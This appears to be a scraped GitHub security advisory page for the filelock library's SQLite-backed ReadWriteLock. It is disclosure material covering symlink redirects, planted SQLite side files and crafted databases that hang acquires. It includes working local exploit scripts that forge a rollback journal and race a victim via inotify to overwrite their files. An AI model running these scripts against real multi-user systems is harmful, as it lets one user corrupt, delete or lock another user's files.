Where
AND
-Infinity
0
Severity
7.1
SQL Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary readlock() or writelock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).

Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.

Scope and preconditions

- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600. - Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protectedregular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protectedhardlinks=0. - Two kernel settings matter. fs.protectedregular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protectedhardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory. - Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273: connectthroughdescriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journalmode=MEMORY, line 816. The check in raiseifdatabasereplaced at line 836 runs only after BEGIN. Both openlockdatabase and raiseifwal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is linkbeside.

Introduced

The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.

Mechanism

On Linux the lock opens the database with ORDWR|OCREAT|ONOFOLLOW|ONONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.

The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify INOPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target ORDWR|OCREAT. None of filelock's checks look at that file. openlockdatabase and raiseifwal inspect descriptor 3. raiseifdatabasereplaced compares an lstat of the lock path with the descriptor's (stdev, stino), which passes because the other user linked the same inode back, and it runs only after BEGIN.

The damage comes from the first statement, PRAGMA journalmode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):

openat("/tmp/shared-cache/cache.lock.db", ORDWR|OCREAT|ONONBLOCK|ONOFOLLOW|OCLOEXEC, 0600) = 3 readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41 readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21 openat("/tmp/victim-notes.txt", ORDWR|OCREAT|ONOFOLLOW|OCLOEXEC, 0644) = 4 openat("/tmp/victim-notes.txt-journal", ORDWR|ONOFOLLOW|OCLOEXEC) = 5 pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096 pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096 unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "disk I/O error"

The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with OCREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, writelock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.

Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journalmode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.

A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next readlock() or writelock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks readlock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).

A re-planted -wal puts the holder in WAL mode past raiseifwal. raiseifwal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.

The lock user's with lock.writelock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets readlock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().

A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITEIOERRDELETE. The code in doacquireinner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquireread() / acquirewrite() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.

Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600 ~/.profile at the lock path does the same in a sticky /tmp when fs.protectedhardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600 service.env renamed to app.lock.db-wal belonged to the other user after root's readlock().

A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquireread returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.

The hard-link route in a directory without the sticky bit. None of the above occurs on the linkbeside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock- entry itself, because 0700 protects the contents, not the entry in the parent. linkbeside checks the link once and returns a pathname, and every later use is by that name.

With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock- directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.

Reproduction

The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.

repro

python #!/usr/bin/env python3 import os import shutil import subprocess import sys

asvictim = {"user": "victim", "group": "victim", "extragroups": []} asattacker = {"user": "attacker", "group": "attacker", "extragroups": []}

set up: the lock database lives in a shared cache directory, 0777 and not sticky shareddir = "/tmp/shared-cache" lockdb = shareddir + "/cache.lock.db" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777)

set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write target = "/tmp/victim-notes.txt" for leftover in (target, target + "-journal"): if os.path.lexists(leftover): os.unlink(leftover) original = b"original victim notes\n" with open(target, "wb") as notes: notes.write(original) shutil.chown(target, "victim", "victim") os.chmod(target, 0o600) directwrite = subprocess.run( [sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], captureoutput=True, text=True, asattacker ) print("attacker opening the target for writing:", directwrite.stderr.strip().splitlines()[-1]) assert directwrite.returncode != 0

attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n" subprocess.run([sys.executable, "/tmp/repro.d/planthotjournal.py", target, content], check=True, asattacker) redirect = subprocess.Popen( [sys.executable, "/tmp/repro.d/redirectlockdb.py", lockdb, target], stdout=subprocess.PIPE, text=True, asattacker ) assert redirect.stdout.readline() == "ready\n"

the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times for run in range(1, 21): victim = subprocess.run( [sys.executable, "/tmp/repro.d/victimapp.py", lockdb], captureoutput=True, text=True, timeout=60, asvictim ) with open(target, "rb") as notes: after = notes.read() if after != original: break redirect.kill() redirect.wait()

check: taking a lock on cache.lock.db must leave the victim's notes alone print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1]) status = os.stat(target) print("target owner, mode, size:", status.stuid, oct(status.stmode & 0o7777), status.stsize) print("target before:", original) print("target after: ", after[:60]) print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")

repro.d/planthotjournal.py

python #!/usr/bin/env python3 """The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""

import os import struct import sys

target, content = sys.argv[1], sys.argv[2].encode() journalpath = target + "-journal"

https://www.sqlite.org/fileformat2.html#therollbackjournal JOURNALMAGIC = bytes.fromhex("d9d505f920a163d7") pagesize, sectorsize, nonce = 4096, 512, 0x11223344 recordcount = 1 pagesafterrollback = 1 # SQLite truncates TARGET to this many pages header = JOURNALMAGIC + struct.pack(">IIIII", recordcount, nonce, pagesafterrollback, sectorsize, pagesize)

pagenumber = 1 # page 1 starts at offset 0 pageimage = content.ljust(pagesize, b"\0") SQLite's pagercksum(): the nonce plus every 200th byte, counting down from pagesize - 200 checksum = (nonce + sum(pageimage[i] for i in range(pagesize - 200, 0, -200))) & 0xFFFFFFFF record = struct.pack(">I", pagenumber) + pageimage + struct.pack(">I", checksum)

with open(journalpath, "wb") as journal: journal.write(header.ljust(sectorsize, b"\0") + record) os.chmod(journalpath, 0o666) # the victim's SQLite opens a hot journal ORDWR

repro.d/redirectlockdb.py

python #!/usr/bin/env python3 """The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCKDB."""

import ctypes import os import sys

lockdb, target = sys.argv[1], sys.argv[2] sparename = lockdb + ".keep"

the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it os.close(os.open(lockdb, os.OCREAT | os.OWRONLY)) os.chmod(lockdb, 0o666) os.link(lockdb, sparename)

what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked os.symlink(target, lockdb + " (deleted)")

INOPEN = 0x20 libc = ctypes.CDLL(None, useerrno=True) inotify = libc.inotifyinit1(0) if libc.inotifyaddwatch(inotify, lockdb.encode(), INOPEN) < 0: raise OSError(ctypes.geterrno(), "inotifyaddwatch", lockdb) print("ready", flush=True)

while True: os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor os.unlink(lockdb) os.link(sparename, lockdb) # the same inode back at the path, so filelock's later lstat sees no change

repro.d/victimapp.py

python #!/usr/bin/env python3 """The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""

import sys

from filelock import ReadWriteLock

rw = ReadWriteLock(sys.argv[1]) with rw.readlock(timeout=5): pass

Attack sequence

The redirect, with A the other local user:

mermaid sequenceDiagram participant A as other local user participant V as lock user's process (filelock) participant S as SQLite inside that process participant K as kernel and filesystem rect rgb(255, 214, 214) Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record) V->>K: open(cache.lock.db, ORDWR OCREAT ONOFOLLOW) gives fd 3, fstat says regular, header not WAL K-->>A: inotify INOPEN on cache.lock.db A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db) V->>S: sqlite3.connect("/proc/self/fd/3") S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)" S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt V->>S: PRAGMA journalmode=MEMORY S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error" V->>K: lstat(cache.lock.db) matches fd 3 identity, so raiseifdatabasereplaced passes end

The side-file variants, which need no redirect:

mermaid flowchart TD B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"} B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"] B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"] B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"] B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with OCREAT"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class B0,B1 info; class B2,B3,B4,B5 bad;

Evidence

The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.readlock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.

Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.

Impact

Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside writelock() stops excluding the lock user's other processes from readlock(), and the holder can die from a SIGBUS that arrives in release().

It is not reachable for a database the lock user owns in /tmp with fs.protectedregular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.

Workarounds

- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. - For a lock in a sticky directory keep fs.protectedregular at 1 or 2 and fs.protectedhardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:15 UTC: fix PR #834 opened

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
SQL Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

ReadWriteLock and AsyncReadWriteLock resolve the lock path with pathlib.Path.resolve() and pass it to sqlite3.connect() without refusing a symlink. A local user who can create names in the lock's directory, such as /tmp or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.

Details

ReadWriteLock.init stores pathlib.Path(lockfile).resolve(), which follows a final symlink, and every connection opens that path through sqlite3.connect() with no ONOFOLLOW or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so fs.protectedsymlinks and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: FileLock opens with ONOFOLLOW, and SoftReadWriteLock coordinates through <path>.rw/.

Proof of concept

On Linux, with the victim and attacker as different users and /shared mode 1777 with fs.protectedsymlinks=1:

1. The attacker runs ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db. 2. The victim constructs ReadWriteLock("/shared/app.rwlock.db"). A plain os.open(..., ONOFOLLOW) on the same path fails, but the lock creates /home/victim/private/pwned.flag, owned by the victim, inside a directory the attacker cannot write. 3. With /shared/cache.rwlock.db -> /shared/a.db, one victim process holds the write lock. The attacker repoints the link to /shared/b.db, and a second victim process acquires the write lock while the first still holds it.

The same behavior reproduces on macOS, on Windows 11, and through AsyncReadWriteLock.

Impact

A local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets database is locked, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.

Workarounds

Keep ReadWriteLock paths in directories that only trusted users can write.

1 / 3
Source: GitHub
First published (updated )
Severity
5.5
SQL Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) run PRAGMA journalmode=MEMORY on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the sqlitemaster table, which lists every table and index with its CREATE text) of whatever file sits at the lock path. The caller's timeout reaches SQLite only as busytimeout, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a ReadWriteLock's database path can therefore make every acquireread / acquirewrite of every process using that lock ignore its timeout and blocking=False. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.

One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.

Anthropic's OSS Scanner reported this in private as ANT-2026-NFPRHMYJ [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H scores 5.5 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. AC:L (low attack complexity): the other user plants one file; no race. UI:N (no user interaction). A:H (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with timeout and blocking=False ignored and SIGINT not delivered, so only killing the process ends it. C:N and I:N (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. S:U (scope unchanged).

Classification from the external review: conditional security, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.

Scope and preconditions

- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (0666), which is the setup a lock shared between accounts needs. In a 1777 directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is 0666. - Sticky directories and kernel settings. In a sticky world-writable directory such as /tmp, Linux with fs.protectedregular=2 (a kernel setting) refuses the lock user's OCREAT open of a file owned by the other account with EACCES. A database owned by the other user does not work there. That does not cover a 0666 database owned by the lock user. The scanner did not test systems with fs.protectedregular=0 (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

Affected code

At the scanned commit b831496b0273: configureandbegin runs PRAGMA busytimeout=...; PRAGMA journalmode=MEMORY; on a fresh connection, and for a read lock SELECT name FROM sqlitemaster LIMIT 1 at line 832. The code in doacquireinner closes the previous connection and opens a new one on every acquire. The only content checks are openlockdatabase (regular file) and raiseifwal (20 header bytes).

Introduced

The acquire path dates from cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in 3.20.4 (verified: git tag --contains cfd4446 gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.

Mechanism

PRAGMA journalmode=MEMORY is the first statement that needs the schema. SQLite reads every row of sqlitemaster and parses each row's sql text there. Run one at a time on the crafted file, PRAGMA busytimeout returns at once and PRAGMA journalmode=MEMORY takes the whole time. The read-mode SELECT needs the schema too. The caller's timeout reaches SQLite only as busytimeout (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. blocking=False and timeout=0 reach SQLite as busytimeout=0 and stall the same way (2.4 s each with a 5-row file). acquirewrite runs the same pragma. AsyncReadWriteLock.readlock(timeout=1) stalls the same way (4.7 s with 10 rows; wrapping the acquire in asyncio.waitfor(..., 2) does not return earlier). A second acquireread on the same instance stalls for as long as the first.

The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in configureandbegin at the executescript call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.

Long schema rows. Each sqlitemaster row is ('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…') with an sql text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid CREATE TABLEs, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise Timeout.

Measured with readlock(timeout=1): 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises MemoryError from line 816.

Looping interior pages. The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls readlock(timeout=1) for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).

At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are sqlitemaster interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of sqlitemaster by 661.

The row is not a valid schema entry, and that does not stop the scan: SQLite raises sqlite3.DatabaseError: malformed database schema (?) only after the last row. One level raises DatabaseError at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file acquirewrite(timeout=1), acquireread(blocking=False) and acquireread(timeout=0) spin on the same line. SIGINT does not raise KeyboardInterrupt (the process was still running at 100% CPU 4 s after kill -INT), because the thread does not leave the one SQLite call.

Reproduction

The scanner's reproducer for ANT-2026-NFPRHMYJ, quoted as received. It ran against commit b831496b0273.

repro

python #!/usr/bin/env python3 import os import resource import shutil import subprocess import sys import time

set up: a cache directory both accounts can write, without the sticky bit shareddir = "/tmp/shared-cache" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777) lockdb = f"{shareddir}/cache.lock.db"

attack: the attacker creates the lock database first, with 50 schema rows subprocess.run( [sys.executable, "/tmp/repro.d/makestallingdb.py", lockdb, "50"], user="attacker", group="attacker", extragroups=[], check=True, ) print("lock database uses", os.stat(lockdb).stblocks 512, "bytes of disk", flush=True)

